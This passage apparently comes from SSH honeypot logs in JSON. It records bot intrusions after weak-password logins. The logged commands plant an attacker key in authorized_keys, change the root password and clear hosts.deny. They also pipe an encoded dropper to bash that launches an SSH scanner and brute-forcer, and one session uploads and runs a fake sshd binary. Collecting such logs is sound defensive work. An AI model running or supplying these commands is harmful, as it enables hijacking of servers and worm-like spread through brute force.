\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T05:17:57.201363+00:00","kind":"output","latency_ms":560,"data":""},{"seq":47,"at":"2026-08-24T05:18:05.459476+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T05:18:05.460070+00:00","kind":"output","latency_ms":null,"data":"senthil"}],"credentials":[{"username":"senthil","password":"senthil","method":"password","accepted":true,"tier":"other"}]} {"id":"ff4b92c2-cab9-4837-b1f0-be48191f942b","name":"granite-wandering-skylark","protocol":"ssh","channel_kind":"exec","src_ip":"5.3.154.197","src_port":33954,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":409,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T04:39:09.822503+00:00","ended_at":"2026-08-24T04:39:09.946537+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3490,"events":[{"seq":1,"at":"2026-08-24T04:38:39.279791+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T04:38:39.686734+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T04:38:44.743911+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T04:38:44.745330+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T04:38:45.154077+00:00","kind":"input","latency_ms":null,"data":"echo \"root:O6YnMei1ECfH\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T04:38:45.562798+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T04:38:45.973279+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T04:38:45.974641+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T04:38:46.006305+00:00","kind":"output","latency_ms":852,"data":""},{"seq":10,"at":"2026-08-24T04:38:46.381961+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T04:38:47.547686+00:00","kind":"output","latency_ms":1165,"data":" total used free shared buff/cache available\nMem: 15888 4321 7124 18 4443 11302"},{"seq":12,"at":"2026-08-24T04:38:47.959051+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T04:38:48.851428+00:00","kind":"output","latency_ms":895,"data":"lrwxrwxrwx 1 root root 7 Mar 12 2026 /usr/bin/ls -> /bin/ls"},{"seq":14,"at":"2026-08-24T04:38:49.261398+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T04:38:49.261867+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T04:38:49.679122+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T04:38:49.680042+00:00","kind":"output","latency_ms":null,"data":" 04:38:49 up 4 days, 1:28, 0 user, load average: 0.35, 0.27, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T04:38:50.084105+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T04:38:50.084573+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T04:38:50.490971+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T04:38:50.491786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T04:38:50.908699+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T04:38:50.909332+00:00","kind":"output","latency_ms":null,"data":"top - 04:38:50 up 4 days, 1:28, 0 user, load average: 0.35, 0.27, 0.34\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T04:38:51.309647+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T04:38:51.310503+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T04:38:51.718907+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T04:38:51.719807+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T04:38:52.128988+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T04:38:52.130161+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T04:38:52.538298+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T04:38:53.094684+00:00","kind":"output","latency_ms":555,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-24T04:38:53.504910+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T04:38:53.939762+00:00","kind":"output","latency_ms":434,"data":"24G"},{"seq":34,"at":"2026-08-24T04:38:55.384120+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123Admin\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T04:38:55.792866+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T04:38:56.213017+00:00","kind":"output","latency_ms":420,"data":""},{"seq":37,"at":"2026-08-24T04:38:57.224299+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T04:38:57.645317+00:00","kind":"output","latency_ms":420,"data":"root 123Admin"},{"seq":39,"at":"2026-08-24T04:38:58.054135+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T04:38:58.499444+00:00","kind":"output","latency_ms":444,"data":"root 123Admin"},{"seq":41,"at":"2026-08-24T04:38:58.908043+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T04:38:59.316812+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T04:38:59.887949+00:00","kind":"output","latency_ms":571,"data":"root 123Admin"},{"seq":44,"at":"2026-08-24T04:39:00.298002+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T04:39:01.008197+00:00","kind":"output","latency_ms":708,"data":"root 123Admin"},{"seq":46,"at":"2026-08-24T04:39:01.415932+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T04:39:01.839055+00:00","kind":"output","latency_ms":422,"data":""},{"seq":48,"at":"2026-08-24T04:39:09.823192+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-24T04:39:09.823906+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123Admin","method":"password","accepted":true,"tier":"other"}]} {"id":"6f21839c-0816-4ffd-9ff4-e71ebbf9de78","name":"hidden-lunar-merlin","protocol":"ssh","channel_kind":"exec","src_ip":"120.33.126.224","src_port":46270,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x ./.704318055288302351/sshd;nohup ./.704318055288302351/sshd &","started_at":"2026-08-24T03:43:21.725414+00:00","ended_at":"2026-08-24T03:43:31.924235+00:00","ended_reason":"exec complete","commands":2,"transcript_bytes":132,"events":[{"seq":1,"at":"2026-08-24T03:43:21.722195+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/.704318055288302351/sshd (30304472 bytes)"},{"seq":2,"at":"2026-08-24T03:43:21.727713+00:00","kind":"input","latency_ms":null,"data":"chmod +x ./.704318055288302351/sshd;nohup ./.704318055288302351/sshd &"},{"seq":3,"at":"2026-08-24T03:43:23.226084+00:00","kind":"output","latency_ms":1520,"data":""}],"credentials":[{"username":"root","password":"centos","method":"password","accepted":true,"tier":"other"}]} {"id":"139edc25-ff78-447f-ad87-3aa1c14591d2","name":"alpine-verdant-linnet","protocol":"ssh","channel_kind":"exec","src_ip":"223.17.1.118","src_port":47578,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":692,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T03:17:41.660805+00:00","ended_at":"2026-08-24T03:17:41.876558+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":6575,"events":[{"seq":1,"at":"2026-08-24T03:16:58.356771+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T03:16:59.046453+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T03:17:04.985852+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T03:17:04.986364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T03:17:05.677412+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tbZ35wrxEVUF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T03:17:06.352722+00:00","kind":"output","latency_ms":675,"data":""},{"seq":7,"at":"2026-08-24T03:17:06.367693+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-24T03:17:07.055960+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-24T03:17:07.056713+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-24T03:17:07.749648+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T03:17:08.456392+00:00","kind":"output","latency_ms":705,"data":"15888 403 15485 0 0 0"},{"seq":12,"at":"2026-08-24T03:17:09.152233+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T03:17:10.196396+00:00","kind":"output","latency_ms":1041,"data":"-rwxr-xr-x 1 root root 148K Aug 24 03:08 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T03:17:10.888527+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T03:17:10.889198+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-24T03:17:11.579916+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T03:17:11.580541+00:00","kind":"output","latency_ms":null,"data":" 03:17:11 up 4 days, 0:07, 0 user, load average: 0.31, 0.35, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T03:17:12.270223+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T03:17:12.270814+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T03:17:12.963358+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T03:17:12.963784+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T03:17:13.653719+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T03:17:13.654433+00:00","kind":"output","latency_ms":null,"data":"top - 03:17:13 up 4 days, 0:07, 0 user, load average: 0.31, 0.35, 0.22\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T03:17:14.345376+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T03:17:14.345935+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T03:17:15.036617+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T03:17:15.037387+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T03:17:15.755969+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T03:17:15.756724+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T03:17:16.446544+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T03:17:19.813360+00:00","kind":"output","latency_ms":3362,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC"},{"seq":32,"at":"2026-08-24T03:17:20.506727+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T03:17:21.072562+00:00","kind":"output","latency_ms":565,"data":"25G"},{"seq":34,"at":"2026-08-24T03:17:23.255705+00:00","kind":"input","latency_ms":null,"data":"echo \"root Redhat123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T03:17:23.946596+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T03:17:24.463347+00:00","kind":"output","latency_ms":517,"data":""},{"seq":37,"at":"2026-08-24T03:17:26.510809+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T03:17:27.489263+00:00","kind":"output","latency_ms":976,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T03:17:28.181163+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T03:17:28.863399+00:00","kind":"output","latency_ms":681,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T03:17:29.553555+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T03:17:30.247621+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T03:17:30.859575+00:00","kind":"output","latency_ms":612,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T03:17:31.552221+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T03:17:32.095025+00:00","kind":"output","latency_ms":539,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T03:17:32.783687+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T03:17:33.447253+00:00","kind":"output","latency_ms":662,"data":""},{"seq":48,"at":"2026-08-24T03:17:41.662280+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-24T03:17:41.662895+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Redhat123","method":"password","accepted":true,"tier":"other"}]} {"id":"4de63a5d-4df9-4aff-bcb2-ce12dde2b67a","name":"bashful-crimson-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"190.60.43.27","src_port":53456,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":285,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T00:59:17.188346+00:00","ended_at":"2026-08-24T00:59:17.266471+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3445,"events":[{"seq":1,"at":"2026-08-24T00:58:50.851125+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T00:58:51.234125+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T00:58:54.352368+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T00:58:54.355708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T00:58:54.634971+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wW0VrtFthYZ9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T00:58:54.914831+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T00:58:55.200146+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T00:58:55.202807+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T00:58:55.482101+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T00:58:56.516151+00:00","kind":"output","latency_ms":1034,"data":" total used free shared buff/cache available\nMem: 15888 3721 8210 64 3956 11689"},{"seq":11,"at":"2026-08-24T00:58:56.801263+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T00:58:57.378734+00:00","kind":"output","latency_ms":577,"data":"-rwxr-xr-x 1 root root 142K Jan 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T00:58:57.665428+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T00:58:57.667676+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T00:58:57.950211+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T00:58:57.951564+00:00","kind":"output","latency_ms":null,"data":" 00:58:57 up 3 days, 21:49, 0 user, load average: 0.07, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU 